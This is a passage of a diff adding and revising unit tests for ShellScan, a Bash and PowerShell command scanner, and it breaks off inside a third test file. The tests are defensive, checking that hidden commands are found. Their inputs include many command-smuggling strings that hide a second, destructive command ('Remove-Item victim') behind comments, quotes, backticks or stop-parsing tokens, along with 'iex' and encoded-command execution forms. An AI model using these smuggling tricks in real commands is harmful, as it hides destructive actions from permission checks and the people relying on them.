@@ -154,10 +153,11 @@ describe("ShellScan generated PowerShell properties", () => {
for (const command of mutations) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
})
test("distinguishes dynamic heads from delegated execution", () => {
const dynamic = ["$Command status", "${Command} status", "& $Command status"]
test("distinguishes variable expressions from delegated execution", () => {
const expressions = ["$Command", "${Command}"]
const delegated = [
"& git status",
"& $Command status",
". ./script.ps1",
"Invoke-Expression 'git status'",
"iex 'git status'",
@@ -167,7 +167,8 @@ describe("ShellScan generated PowerShell properties", () => {
const shells = ["powershell", "powershell.exe", "pwsh", "pwsh.exe"]
const switches = ["-Command", "-c", "-EncodedCommand", "-e", "-File", "-f"]
for (const command of dynamic) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
for (const command of expressions)
expect(ShellScan.scanPowerShell(command)).toEqual({ kind: "scanned", commands: [] })
for (const command of delegated) expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
for (const shell of shells) {
for (const flag of switches) {
@@ -176,14 +177,25 @@ describe("ShellScan generated PowerShell properties", () => {
}
})
test("fails closed for dynamic location changes but accepts known directory variables", () => {
test("extracts nested commands in directory expressions without evaluating variables", () => {
const locations = ["Set-Location", "cd", "chdir", "sl", "Push-Location"]
const dynamic = ["$target", "$(Resolve-Path ..)", "(Resolve-Path ..)"]
const known = ["$PWD/project", "$HOME/project", "$PSHOME/Modules", "$env:TEMP/project"]
const expressions = ["$(Resolve-Path ..)", "(Resolve-Path ..)"]
const variables = ["$target", "$PWD/project", "$HOME/project", "$PSHOME/Modules", "$env:TEMP/project"]
for (const location of locations) {
for (const target of dynamic) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("opaque")
for (const target of known) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("scanned")
for (const target of expressions)
expect(ShellScan.scanPowerShell(`${location} ${target}`)).toMatchObject({
kind: "scanned",
commands: [
{ resource: `${location} ${target}`, words: [location, target] },
{ resource: "Resolve-Path ..", words: ["Resolve-Path", ".."] },
],
})
for (const target of variables)
expect(ShellScan.scanPowerShell(`${location} ${target}`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `${location} ${target}`, words: [location, target] }],
})
}
})
})
+12 -23
View File
@@ -2,28 +2,17 @@ import { describe, expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
describe("ShellScan structural mutation closure", () => {
test.each([
"$COMMAND status",
"${COMMAND} status",
'"$COMMAND" status',
"$(printf git) status",
"`printf git` status",
'printf "unterminated',
"printf ok &&",
"| printf ok",
"printf ok >",
])("keeps unknowable or malformed Bash input opaque: %s", (source) => {
expect(ShellScan.scan(source).kind).toBe("opaque")
})
test.each(['printf "unterminated', "printf ok &&", "| printf ok", "printf ok >"])(
"keeps malformed Bash input opaque: %s",
(source) => {
expect(ShellScan.scan(source).kind).toBe("opaque")
},
)
test.each([
"$Command status",
"${Command} status",
"& $Command status",
"Write-Output ok`",
'Write-Output "unterminated',
"Get-ChildItem |",
])("keeps unknowable or malformed PowerShell input opaque: %s", (source) => {
expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
})
test.each(["Write-Output ok`", 'Write-Output "unterminated', "Get-ChildItem |"])(
"keeps incomplete PowerShell input opaque: %s",
(source) => {
expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
},
)
})
@@ -0,0 +1,376 @@
import { expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
const pwsh = process.env.SHELL_SCAN_PWSH ?? Bun.which("pwsh")
const fixtures = [
...[
"$result = Invoke-ProbeA; Invoke-ProbeB",
"$result = (Invoke-ProbeA); Invoke-ProbeB",
"[string]$result = Invoke-ProbeA; Invoke-ProbeB",
"if (Invoke-ProbeA) { Invoke-ProbeB } else { Invoke-ProbeC }",
"foreach ($item in (Invoke-ProbeA)) { Invoke-ProbeB }",
"foreach ($item in Invoke-ProbeA) { Invoke-ProbeB }",
"for ($i=0; $i -lt 2; $i++) { Invoke-ProbeB }",
"while (Invoke-ProbeA) { Invoke-ProbeB; break }",
"do { Invoke-ProbeB } until ($true)",
"function Get-Probe { param($x); Invoke-ProbeB }; Invoke-ProbeA",
"function Get-Probe($x = (Invoke-ProbeA)) { Invoke-ProbeB }",
"try { Invoke-ProbeA } catch { Invoke-ProbeB } finally { Invoke-ProbeC }",
"$x = @{ first = Invoke-ProbeA; second = @(Invoke-ProbeB; Invoke-ProbeC) }",
"Invoke-ProbeA @(Invoke-ProbeB; Invoke-ProbeC)",
'Invoke-ProbeA "$(Invoke-ProbeB "$(Invoke-ProbeC)")"',
"Invoke-ProbeA <# <# ignored } #> #> literal; Invoke-ProbeB",
'& "Inv`oke-ProbeA"; Invoke-ProbeB',
'Invoke-ProbeBlock { & "Invoke-ProbeA" literal#value; Invoke-ProbeB }',
'Invoke-ProbeBlock { . "Invoke-ProbeA" literal#value; Invoke-ProbeB }',
"Invoke-ProbeBlock { ${probe}# ignored\nInvoke-ProbeB }",
"Invoke-ProbeBlock { $result = Invoke-ProbeA literal#value; Invoke-ProbeB }",
"Invoke-ProbeA $probe[$(Invoke-ProbeB)]",
'Invoke-ProbeA "tab`tnewline`n`u{0041}"; Invoke-ProbeB',
"Invoke-ProbeA |\n\n# comment\nForEach-Object { Invoke-ProbeB }",
],
...[
"1",
"+1",
"-1",
".1",
"0x1",
"0b1",
"1L",
"1kb",
"1.0",
"1+1",
"1..2",
"-not 1",
"-bnot 1",
"!1",
"!!1",
",1",
"-join 1",
"\u2013not 1",
"\u2014not 1",
"\u2015not 1",
"\u2013join 1",
"\u2014join 1",
"\u2015join 1",
"'x' -eq 1",
'"x" -eq 1',
"{} -eq 1",
].flatMap((expression) => [
`${expression}#'\nInvoke-ProbeB\n#'`,
`Invoke-ProbeBlock { ${expression}#} '\nInvoke-ProbeB\n} #'`,
]),
...[
"$null",
"$probe",
"$HOME",
"${probe}",
"$env:PATH",
"$true",
"$false",
"1",
"1.0",
"1kb",
"0x1",
"-1",
"x2>&1",
"x6>&1",
">$null",
"> $null",
"'x'>$null",
].flatMap((prefix) => [
`Invoke-ProbeA ${prefix}#'\nInvoke-ProbeB\n#'`,
`Invoke-ProbeBlock { Invoke-ProbeA ${prefix}#} '\nInvoke-ProbeB\n} #'`,
]),
...[" ", "\t", "\v", "\f", "\u0085", "\u00a0", "\u2000", "\u2028", "\u2029", "\ufeff"].flatMap((space) => [
`Invoke-ProbeA \`${space}#'\nInvoke-ProbeB\n#'`,
`Invoke-ProbeBlock { Invoke-ProbeA 2>&1\`${space}#} '\nInvoke-ProbeB\n} #'`,
]),
...Array.from({ length: 2048 }, (_, index) => {
const tokens = [
"x",
" ",
"\t",
"\r",
"\n",
";",
"|",
"'",
'"',
"''",
'""',
"#",
"--%",
"`",
"{",
"}",
"2>&1",
"Invoke-ProbeC",
]
let seed = index + 1
const body = Array.from({ length: 8 }, () => {
seed = (Math.imul(seed, 1664525) + 1013904223) >>> 0
return tokens[(seed >>> 16) % tokens.length]
}).join("")
return index % 2
? `Invoke-ProbeA ${body}\nInvoke-ProbeB\n# '`
: `Invoke-ProbeBlock { Invoke-ProbeA ${body}\nInvoke-ProbeB\n} # '`
}),
...["&", "."].flatMap((operator) =>
["'Invoke-ProbeA'", '"Invoke-ProbeA"'].flatMap((head) =>
["argument", "'argument'", '"argument"', "#ignored", "--% '"].map(
(tail) => `${operator} ${head}${tail}\nInvoke-ProbeB\n# '`,
),
),
),
...["'", '"', "\u2018", "\u2019", "\u201c", "\u201d"].flatMap((open) =>
["'", '"', "\u2018", "\u2019", "\u201c", "\u201d"].flatMap((close) =>
["", "literal", "`", "'", '"', "''", '""', "{", "}", "#", "--%", "$(Invoke-ProbeB)"].flatMap((content) => [
`Invoke-ProbeA ${open}${content}${close}; Invoke-ProbeB; Invoke-ProbeC '${content}'`,
`Invoke-ProbeBlock { Invoke-ProbeA ${open}${content}${close}; Invoke-ProbeB }; Invoke-ProbeC '${content}'`,
]),
),
),
...["", "literal", "'quoted'", '"quoted"', "{}"].flatMap((prefix) =>
["#ignored", "<#ignored#>", "--% 'ignored", '--% "ignored'].flatMap((tail) =>
[";", "|", "\r", "\n", "\r\n"].map(
(separator) => `Invoke-ProbeA ${prefix}${tail}${separator}Invoke-ProbeB${separator}Invoke-ProbeC`,
),
),
),
...["''", "'x'", '"x"', "{}", "2>&1", "6>&1", "*>&1", "plain", "plain'quoted'"].flatMap((prefix) =>
["#", "--%", "--% ", "<# #>#"].flatMap((suffix) =>
["\r", "\n", "\r\n"].flatMap((newline) => [
`Invoke-ProbeA ${prefix}${suffix}'${newline}Invoke-ProbeB${newline}# '`,
`Invoke-ProbeA ${prefix}${suffix}\"${newline}Invoke-ProbeB${newline}# \"`,
`Invoke-ProbeBlock { Invoke-ProbeA ${prefix}${suffix}} '${newline}Invoke-ProbeB${newline}} # '`,
]),
),
),
...[
...Array.from({ length: 33 }, (_, index) => String.fromCharCode(index)),
"\u0085",
"\u00a0",
"\u1680",
"\u2000",
"\u2028",
"\u2029",
"\u202f",
"\u205f",
"\u3000",
"\ufeff",
].flatMap((space) => [
`Invoke-ProbeA${space}argument; Invoke-ProbeB`,
`Invoke-ProbeA # ignored${space}Invoke-ProbeB`,
`Invoke-ProbeA${space}Invoke-ProbeB`,
`&${space}'Invoke-ProbeA'; Invoke-ProbeB`,
]),
...["Invoke-ProbeA", "& Invoke-ProbeA", "& 'Invoke-ProbeA'", '. "Invoke-ProbeA"'].flatMap((head) =>
[
"plain",
"'single ; | & # { }'",
'"double ; | & # { }"',
"'single''quote'",
'"double""quote"',
"'`'",
'"a`"}b"',
'"it\'s } literal"',
"left`#right",
"left`;right",
"left`|right",
"left`&right",
'"$(Invoke-ProbeB)"',
'"$probe"',
'"${probe}"',
"\u2018smart single\u2019",
"\u201csmart double\u201d",
].flatMap((argument) =>
["; ", "\n", "\r", "\r\n", " | ", " && ", " || "].map(
(separator) => `${head} ${argument}${separator}Invoke-ProbeC`,
),
),
),
...["\n", "\r", "\r\n"].flatMap((newline) => [
`Invoke-ProbeA # '\" } ; ignored${newline}Invoke-ProbeB`,
`Invoke-ProbeBlock { # } ignored${newline}Invoke-ProbeB }`,
`Invoke-ProbeBlock { Invoke-ProbeA # } ignored${newline}Invoke-ProbeB }`,
`Invoke-ProbeA --% \"ignored${newline}Invoke-ProbeB${newline}\"`,
`Invoke-ProbeBlock { Invoke-ProbeA --% \"ignored${newline}Invoke-ProbeB${newline}\" }`,
`Invoke-ProbeA \`${newline}argument; Invoke-ProbeB`,
`Invoke-ProbeA @'${newline}literal ; }${newline}'@; Invoke-ProbeB`,
`Invoke-ProbeA @\"${newline}$(Invoke-ProbeB)${newline}\"@; Invoke-ProbeC`,
]),
...["&", ".", "Invoke-ProbeBlock", "Invoke-ProbeA | ForEach-Object"].flatMap((head) =>
[
"Invoke-ProbeB; Invoke-ProbeC",
"Invoke-ProbeB '`'; Invoke-ProbeC",
'Invoke-ProbeB "it\'s } literal"; Invoke-ProbeC',
'Invoke-ProbeB "a`\"}b"; Invoke-ProbeC',
'Invoke-ProbeB "a\"\"}b"; Invoke-ProbeC',
"Invoke-ProbeBlock { Invoke-ProbeB }; Invoke-ProbeC",
"<# <# } #> #> Invoke-ProbeB",
'Invoke-ProbeB "$(Invoke-ProbeC)"',
'Invoke-ProbeB "$(Invoke-ProbeA \"}\"); Invoke-ProbeC"',
].map((body) => `${head} { ${body} }; Invoke-ProbeA`),
),
...["> $null", ">> $null", "2>&1", "3>&1", "4>&1", "5>&1", "6>&1", "*>&1", "*> $null"].flatMap((redirect) => [
`Invoke-ProbeA ${redirect}; Invoke-ProbeB`,
`Invoke-ProbeBlock { Invoke-ProbeA ${redirect}; Invoke-ProbeB }`,
]),
"Invoke-ProbeA --% 'ignored|Invoke-ProbeB|Invoke-ProbeC '",
"Invoke-ProbeA --% ; Invoke-ProbeB",
"Invoke-ProbeA --% $(Invoke-ProbeB)",
"Invoke-ProbeA \u2018a'; Invoke-ProbeB; Invoke-ProbeC 'b\u2019",
'Invoke-ProbeA \u201ca"; Invoke-ProbeB; Invoke-ProbeC "b\u201d',
'Invoke-ProbeA "$(Invoke-ProbeB \"quoted\")"; Invoke-ProbeC',
"& $probe; Invoke-ProbeC",
"& ('Invoke-' + 'ProbeB'); Invoke-ProbeC",
"& { Invoke-ProbeB }; Invoke-ProbeC",
"$(Invoke-ProbeB); Invoke-ProbeC",
"@(Invoke-ProbeB); Invoke-ProbeC",
"Invoke-ProbeA <# ignored #>; Invoke-ProbeB",
"Invoke-ProbeA#literal; Invoke-ProbeB",
"Invoke-ProbeA ''#literal; Invoke-ProbeB",
'Invoke-ProbeA ""#literal; Invoke-ProbeB',
"Invoke-ProbeA { Invoke-ProbeB }#literal; Invoke-ProbeC",
"Inv'oke'-ProbeA; Invoke-ProbeB",
'Inv"oke"-ProbeA; Invoke-ProbeB',
"Invoke-ProbeA,Invoke-ProbeB; Invoke-ProbeC",
'Invoke-ProbeA --%"literal|Invoke-ProbeB|Invoke-ProbeC"',
'Invoke-ProbeA x--% "literal|Invoke-ProbeB|Invoke-ProbeC"',
"Invoke-ProbeA '--%' \"literal|Invoke-ProbeB|Invoke-ProbeC\"",
'Invoke-ProbeA "--%" "literal|Invoke-ProbeB|Invoke-ProbeC"',
'Invoke-ProbeA --`% "literal|Invoke-ProbeB|Invoke-ProbeC"',
'Invoke-ProbeA `-`-`% "literal|Invoke-ProbeB|Invoke-ProbeC"',
"Invoke-ProbeA ''--% \"literal|Invoke-ProbeB|Invoke-ProbeC\"",
"Invoke-ProbeA 2>&1; &{Invoke-ProbeB}; Invoke-ProbeC",
"Invoke-ProbeA 2>&1|Invoke-ProbeB",
"Invoke-ProbeA 'x'#'\nInvoke-ProbeB\nInvoke-ProbeC ''#'",
'Invoke-ProbeA "x"#"\nInvoke-ProbeB\nInvoke-ProbeC ""#"',
"Invoke-ProbeA {}#'\nInvoke-ProbeB\nInvoke-ProbeC ''#'",
"Invoke-ProbeBlock { Invoke-ProbeA 'x'#'\nInvoke-ProbeB\nInvoke-ProbeC ''#' }",
"Invoke-ProbeA 'x'# ' \nInvoke-ProbeB\n# '",
"Invoke-ProbeA { Invoke-ProbeB }# ' \nInvoke-ProbeC\n# '",
"Invoke-ProbeA { Invoke-ProbeB 2>&1# } ' \nInvoke-ProbeC\n} # '",
"Invoke-ProbeBlock { Invoke-ProbeB 2>&1# } ' \nInvoke-ProbeC\n} # '",
"& { Invoke-ProbeB 2>&1# } ' \nInvoke-ProbeC\n} # '",
"Invoke-ProbeA & Invoke-ProbeB",
"Invoke-ProbeA 'safe`'; Invoke-ProbeB; '`'",
]
// Runtime execution is restricted to probes and $null/stream redirections; other cases are parser-only.
const oracle = String.raw`
$ErrorActionPreference = 'Stop'
$probe = 'Invoke-ProbeB'
$script:seen = [System.Collections.Generic.List[string]]::new()
function Invoke-ProbeA { [void]$script:seen.Add('Invoke-ProbeA'); 1 }
function Invoke-ProbeB { [void]$script:seen.Add('Invoke-ProbeB'); 1 }
function Invoke-ProbeC { [void]$script:seen.Add('Invoke-ProbeC'); 1 }
function Invoke-ProbeBlock {
[void]$script:seen.Add('Invoke-ProbeBlock')
foreach ($argument in $args) {
if ($argument -is [scriptblock]) { & $argument }
}
}
$results = foreach ($source in (ConvertFrom-Json -InputObject ([Console]::In.ReadToEnd()))) {
$tokens = $null
$errors = $null
$ast = [System.Management.Automation.Language.Parser]::ParseInput($source, [ref]$tokens, [ref]$errors)
$nodes = @($ast.FindAll({ param($node) $node -is [System.Management.Automation.Language.CommandAst] }, $true))
$commands = @($nodes | ForEach-Object {
@{
name = $_.GetCommandName()
text = $_.Extent.Text
start = $_.Extent.StartOffset
end = $_.Extent.EndOffset
}
})
$script:seen.Clear()
$runtimeError = $null
$unsafe = @($nodes | Where-Object {
$name = $_.GetCommandName()
($name -and $name -notin @('Invoke-ProbeA', 'Invoke-ProbeB', 'Invoke-ProbeC', 'Invoke-ProbeBlock', 'ForEach-Object')) -or
(!$name -and $_.CommandElements[0] -isnot [System.Management.Automation.Language.ScriptBlockExpressionAst])
})
$files = @($ast.FindAll({ param($node)
$node -is [System.Management.Automation.Language.FileRedirectionAst] -and $node.Location.Extent.Text -ne '$null'
}, $true))
$background = @($ast.FindAll({ param($node)
$node -is [System.Management.Automation.Language.PipelineAst] -and $node.Background
}, $true))
if ($errors.Count -eq 0 -and $unsafe.Count -eq 0 -and $files.Count -eq 0 -and $background.Count -eq 0) {
try { & ([scriptblock]::Create($source)) | Out-Null }
catch { $runtimeError = $_.Exception.Message }
}
@{
source = $source
commands = $commands
errors = @($errors | ForEach-Object { $_.ErrorId })
executed = @($script:seen.ToArray())
runtimeError = $runtimeError
}
}
ConvertTo-Json -InputObject @($results) -Depth 10 -Compress
`
// Run with SHELL_SCAN_PWSH=/path/to/pwsh bun run test test/shell-scan/powershell-runtime.test.ts.
test.skipIf(!pwsh)(
"successful PowerShell scans cover real parser boundaries and executed probe calls",
async () => {
const process = Bun.spawn([pwsh!, "-NoLogo", "-NoProfile", "-NonInteractive", "-Command", oracle], {
stdin: new Blob([JSON.stringify(fixtures)]),
stdout: "pipe",
stderr: "pipe",
timeout: 45_000,
})
const [output, error, code] = await Promise.all([
new Response(process.stdout).text(),
new Response(process.stderr).text(),
process.exited,
])
expect({ code, error }).toEqual({ code: 0, error: "" })
const results: Array<{
source: string
commands: Array<{ name: string | null; text: string; start: number; end: number }>
errors: string[]
executed: string[]
runtimeError: string | null
}> = JSON.parse(output)
expect(results).toHaveLength(fixtures.length)
const failures: string[] = []
let scanned = 0
let executed = 0
for (const result of results) {
const scan = ShellScan.scanPowerShell(result.source)
if (scan.kind === "opaque" || result.errors.length > 0) continue
scanned++
executed += result.executed.length
const missing = result.commands.filter(
(command) =>
command.name !== null &&
!scan.commands.some(
(candidate) =>
candidate.words[0]?.toLowerCase() === command.name?.toLowerCase() &&
candidate.resource === command.text.trim(),
),
)
const unobserved = result.executed.filter(
(name) => !scan.commands.some((command) => command.words[0]?.toLowerCase() === name.toLowerCase()),
)
if (missing.length || unobserved.length)
failures.push(
JSON.stringify({
source: result.source,
missing: missing.map((command) => command.text),
unobserved,
scanned: scan.commands.map((command) => command.words[0]),
}),
)
}
expect(scanned).toBeGreaterThan(100)
expect(executed).toBeGreaterThan(100)
expect(failures).toEqual([])
},
60_000,
)
@@ -0,0 +1,308 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
describe("PowerShell scanner safety", () => {
test("backticks in single quotes cannot hide subsequent executions", () => {
const result = ShellScan.scanPowerShell("Write-Output '`'; Remove-Item victim; Write-Output '`'")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words)).toEqual([
["Write-Output", "`"],
["Remove-Item", "victim"],
["Write-Output", "`"],
])
})
test.each([" ", "\t", "\v", "\f", "\u00a0", "\u2000", "\u2028", "\u2029", "\n", "\r", "\r\n"])(
"recognizes comments after escaped whitespace at a token boundary %j",
(space) => {
expect(ShellScan.scanPowerShell(`Write-Output \`${space}#'\nRemove-Item victim\n#'`)).toMatchObject({
kind: "scanned",
commands: [{ words: ["Write-Output"] }, { words: ["Remove-Item", "victim"] }],
})
for (const redirect of ["2>&1", "6>&1", "*>&1"]) {
expect(
ShellScan.scanPowerShell(`% { Write-Output ${redirect}\`${space}#} '\nRemove-Item victim\n} #'`),
).toMatchObject({
kind: "scanned",
commands: [
{ words: ["%", expect.any(String)] },
{ words: ["Write-Output"] },
{ words: ["Remove-Item", "victim"] },
],
})
}
},
)
test.each([" ", "\t", "\v", "\f", "\u00a0", "\u2000", "\u2028", "\u2029"])(
"keeps backtick whitespace inside strings literal: %j",
(space) => {
const result = ShellScan.scanPowerShell(`% { Write-Output '\`${space}#literal' "\`${space}#literal" }`)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands[1]?.words).toEqual(["Write-Output", `\`${space}#literal`, `${space}#literal`])
},
)
test.each(["x2>&1", "x6>&1"])("keeps embedded greater-than text distinct from redirects: %s", (token) => {
expect(ShellScan.scanPowerShell(`Write-Output ${token}#'\nRemove-Item victim\n#'`)).toMatchObject({
kind: "scanned",
commands: [
{ resource: `Write-Output ${token.slice(0, 3)}`, words: ["Write-Output", token.slice(0, 3)] },
{ words: ["Remove-Item", "victim"] },
],
})
})
test.each([
"1",
",1",
"+1",
"-1",
".1",
"0x1",
"0b1",
"1L",
"1kb",
"1.0",
"1+1",
"1..2",
"-not 1",
"'x' -eq 1",
'"x" -eq 1',
"{} -eq 1",
])("recognizes expression-mode comments without inventing command heads: %s", (expression) => {
expect(ShellScan.scanPowerShell(`${expression}#'\nRemove-Item victim\n#'`)).toMatchObject({
kind: "scanned",
commands: [{ words: ["Remove-Item", "victim"] }],
})
expect(ShellScan.scanPowerShell(`% { ${expression}#} '\nRemove-Item victim\n} #'`)).toMatchObject({
kind: "scanned",
commands: [{ words: ["%", expect.any(String)] }, { words: ["Remove-Item", "victim"] }],
})
})
test.each(["\n", "\r", "\r\n"])("ends nested block comments at %j", (newline) => {
const result = ShellScan.scanPowerShell(`ForEach-Object { # } ignored${newline}Remove-Item victim }`)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["ForEach-Object", "Remove-Item"])
})
test.each([
'ForEach-Object { Write-Output "it\'s } literal"; Remove-Item victim }',
'ForEach-Object { Write-Output "a\'b{c}"; Remove-Item victim }',
"ForEach-Object { Write-Output '`'; Remove-Item victim }",
'ForEach-Object { Write-Output "a`\"}b"; Remove-Item victim }',
'ForEach-Object { Write-Output "a""}b"; Remove-Item victim }',
])("keeps block delimiters inside strings: %s", (input) => {
const result = ShellScan.scanPowerShell(input)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual([
"ForEach-Object",
"Write-Output",
"Remove-Item",
])
})
test("preserves doubled double quotes in argument values", () => {
const result = ShellScan.scanPowerShell('Write-Output "a""b"')
expect(result).toMatchObject({
kind: "scanned",
commands: [{ resource: 'Write-Output "a""b"', words: ["Write-Output", 'a"b'] }],
})
})
test.each(["'safe'", '"safe"', "{ Get-Item x }"])(
"recognizes comments after complete literal tokens: %s",
(argument) => {
const result = ShellScan.scanPowerShell(`Write-Output ${argument}# '\nRemove-Item victim\n# '`)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.some((command) => command.words[0] === "Remove-Item")).toBe(true)
expect(result.commands[0]?.resource).toBe(`Write-Output ${argument}`)
},
)
test("keeps generic-token quotes distinct from standalone strings", () => {
expect(ShellScan.scanPowerShell("Write-Output pre'safe'#literal; Get-Item x")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "Write-Output pre'safe'#literal", words: ["Write-Output", "presafe#literal"] },
{ resource: "Get-Item x", words: ["Get-Item", "x"] },
],
})
expect(ShellScan.scanPowerShell("Write-Output 'safe'tail")).toMatchObject({
kind: "scanned",
commands: [{ resource: "Write-Output 'safe'tail", words: ["Write-Output", "safe", "tail"] }],
})
})
test("block matching agrees with tokenization after a merging redirect", () => {
const result = ShellScan.scanPowerShell("% { Get-Item x 2>&1# } '\nRemove-Item victim\n} # '")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["%", "Get-Item", "Remove-Item"])
})
test.each([
'cmd.exe \u0085--% "ignored\nRemove-Item victim\n# "',
"Write-Output \u2018a'; Remove-Item victim; Write-Output 'b\u2019",
'Write-Output \u201ca"; Remove-Item victim; Write-Output "b\u201d',
])("refuses unsupported lexical modes: %s", (input) => {
expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
})
test.each(["\n", "\r", "\r\n"])("ends stop-parsing at %j even adjacent to completed tokens", (newline) => {
for (const argument of ["'x'", '"x"', "{}"]) {
const result = ShellScan.scanPowerShell(`Write-Output ${argument}--% '${newline}Remove-Item victim${newline}# '`)
expect(result).toMatchObject({
kind: "scanned",
commands: [{ words: ["Write-Output", expect.any(String), "--%", "'"] }, { words: ["Remove-Item", "victim"] }],
})
const block = ShellScan.scanPowerShell(
`% { Write-Output ${argument}--%} '${newline}Remove-Item victim${newline}} # '`,
)
expect(block.kind).toBe("scanned")
if (block.kind === "scanned") expect(block.commands.at(-1)?.words).toEqual(["Remove-Item", "victim"])
}
})
test.each([
"& '' victim",
"Write-Output ok > > out",
"Write-Output ok > 2>&1",
"Write-Output ok 2>&",
"Write-Output ok 2>&2",
"Write-Output ok 1>&1",
"Write-Output ok >&1",
"Write-Output ok 7> out",
"Write-Output ok 2>>&1",
"Write-Output ok > # missing target\nRemove-Item victim",
"Write-Output ok | # missing pipeline\n",
"| Remove-Item victim",
"&& Remove-Item victim",
"& & Remove-Item victim",
"&",
".",
"Write-Output ok; &",
"Write-Output ok; .",
"Set-Location \u2013StackName old",
"Set-Location \u2014StackName old",
"Set-Location \u2015StackName old",
])("reports malformed or unsupported lexical syntax: %s", (input) => {
expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
})
test.each(["Set-Location", "SL", "cd", "chdir", "Push-Location", "pushd", "Microsoft.PowerShell.Management\\sl"])(
"preserves commands with directory variables for Core policy through %s",
(head) => {
expect(ShellScan.scanPowerShell(`${head} $target; Get-Item x`)).toMatchObject({
kind: "scanned",
commands: [
{ resource: `${head} $target`, words: [head, "$target"] },
{ resource: "Get-Item x", words: ["Get-Item", "x"] },
],
})
expect(ShellScan.scanPowerShell(`${head} $HOME/project; Get-Item x`).kind).toBe("scanned")
},
)
test.each([
"Pop-Location",
"popd",
"Microsoft.PowerShell.Management\\Pop-Location",
"Set-Location -",
"Set-Location +",
"Set-Location -StackName old",
"Set-Location -st old",
"Set-Location -Path:C:relative",
"Set-Location C:relative",
"Set-Location Registry::HKEY_CURRENT_USER",
"Set-Location $HOME/$target",
])("preserves directory command syntax without deciding directory policy: %s", (input) => {
expect(ShellScan.scanPowerShell(`${input}; Get-Item x`)).toMatchObject({
kind: "scanned",
commands: [
{ resource: input, words: input.split(" ") },
{ resource: "Get-Item x", words: ["Get-Item", "x"] },
],
})
})
test.each(["%", "?", "foreach", "where", "iex"])("keeps command aliases visible: %s", (head) => {
const result = ShellScan.scanPowerShell(`Get-Item x | ${head} { Remove-Item victim }`)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["Get-Item", head, "Remove-Item"])
})
test.each(["Get-*", "./g?t", "./[gr]it", ".\\script.ps1", "..\\scripts\\run.ps1", "\\\\host\\share\\run.ps1"])(
"retains command names and paths without resolving them: %s",
(head) => {
expect(ShellScan.scanPowerShell(`& ${head} victim`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `& ${head} victim`, words: [head, "victim"], rawWords: [head, "victim"] }],
})
},
)
test("recursively extracts commands from nested script blocks", () => {
const result = ShellScan.scanPowerShell("Get-Item x | % { Get-Item y | ? { Remove-Item victim } }")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual([
"Get-Item",
"%",
"Get-Item",
"?",
"Remove-Item",
])
})
test("keeps hashes within words out of block-comment detection", () => {
const result = ShellScan.scanPowerShell("% { Write-Output a#b }; Remove-Item victim")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["%", "Write-Output", "Remove-Item"])
})
test.each([";", "&", "\n", "\r", "\r\n"])("never invents a command after a trailing %j", (separator) => {
expect(ShellScan.scanPowerShell(`Get-Item x${separator}`)).toMatchObject({
kind: "scanned",
commands: [{ resource: "Get-Item x", words: ["Get-Item", "x"] }],
})
})
test.each(["'victim'", '"victim"', "`victim", "{ Get-Item victim }"])(
"does not clear a dangling pipeline with a new empty statement: %s",
(tail) => {
expect(ShellScan.scanPowerShell(`Get-Item x | ; Write-Output ${tail}`).kind).toBe("opaque")
},
)
test("scans valid redirects without consuming command arguments", () => {
for (const redirect of [">", ">>", "1>", "2>>", "3>", "4>", "5>", "6>", "*>", "*>>"]) {
expect(ShellScan.scanPowerShell(`Get-Item x ${redirect} out.txt | Write-Output done`)).toMatchObject({
kind: "scanned",
commands: [
{ resource: `Get-Item x ${redirect} out.txt`, words: ["Get-Item", "x"] },
{ resource: "Write-Output done", words: ["Write-Output", "done"] },
],
})
}
for (const redirect of ["2>&1", "3>&1", "4>&1", "5>&1", "6>&1", "*>&1"]) {
expect(ShellScan.scanPowerShell(`Get-Item x ${redirect}`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `Get-Item x ${redirect}`, words: ["Get-Item", "x"] }],
})
}
})
test("bounds script block nesting and input size", () => {
expect(ShellScan.scanPowerShell("% { ".repeat(33) + "Get-Item x" + " }".repeat(33)).kind).toBe("opaque")
expect(ShellScan.scanPowerShell(`Write-Output ${"x".repeat(64 * 1024)}`).kind).toBe("opaque")
})
})
@@ -0,0 +1,145 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
describe("PowerShell practical syntax", () => {
test.each([
["$result = git status", ["git status"]],
["$result += (git status)", ["git status"]],
["[string]$result = git status", ["git status"]],
["$x = 1; $x++; git status", ["git status"]],
["$true; 1 + 2; 'literal'; git status", ["git status"]],
["${result}# ignored\ngit status", ["git status"]],
[
"Write-Output { ${result}# ignored\ngit status }",
["Write-Output { ${result}# ignored\ngit status }", "git status"],
],
["Switch-Branch main; Function-Name arg", ["Switch-Branch main", "Function-Name arg"]],
["(git status)", ["git status"]],
["@(git status; git diff)", ["git status", "git diff"]],
["$x = @{ status = git status; count = 1 }", ["git status"]],
["if (Test-Path file) { git status } else { git diff }", ["Test-Path file", "git status", "git diff"]],
